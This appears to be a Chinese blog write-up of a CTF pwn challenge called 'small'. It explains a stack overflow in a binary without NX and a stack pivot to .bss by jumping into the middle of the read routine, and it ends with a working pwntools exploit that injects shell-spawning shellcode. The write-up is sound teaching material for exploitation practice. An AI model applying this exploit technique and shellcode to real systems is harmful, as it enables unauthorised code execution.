第六届全国网络空间安全技术大赛 pwn small

在这里插入图片描述保护的话重点你会发现没有NX。

程序的话确实,非常的小。
在这里插入图片描述主函数,调用另外一个函数然后退出。

在这里插入图片描述另外一个函数就是开了一个缓冲区,大小是0x10,然后读,能读0x400,有个绝对大的溢出。

这个题关键的是,怎么根据那些已经给了的条件去做一个利用。
首先我们看到没有开NX,那么我们想到说去执行一些shellcode,我们想到栈迁移。

这个地方的栈迁移与以前的不一样,我们说栈迁移有两种,一种迁移到bss上,一种迁移到栈上,迁移到bss上需要我们能够事先在bss上写东西,栈上需要我们能够泄露栈地址。然后我们两种情况都需要一个leave|ret。

这个题我们泄露不了栈的地址,只能说思考这个bss,bss上我们我们要么读,要么leave,那么我们怎么整?

跟平常的题不一样的是,以前read是现成函数,这里是汇编直接写的,那么我们可以把read从中间用,那么我们就不用去开那个read的栈,就会多一个leave|ret,所以我们就会发现,只要把地址写read中间,然后就会read,leabve|ret都有,所以就解决了这个问题。

要注意的就是在往bss上迁移的时候要注意ebp覆盖不要直接覆盖bss,要有一点空余,因为我们在写的时候需要往bss上面写一点,如果那一块不可写,或者有什么关键数据,就会出问题,所以我们迁移的时候往bss下面一点,就好了。

exp

from pwn import*

context.log_level = "debug"
context.arch = "amd64"

shellcode = asm(shellcraft.sh())

r = process("./small")

payload = 'a' * 0x10 + p64(0x402050) + p64(0x401015)
r.sendline(payload)

payload = 'a' * 0x10 + p64(0x402050) + p64(0x402060) + shellcode
r.sendline(payload)

r.interactive()
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值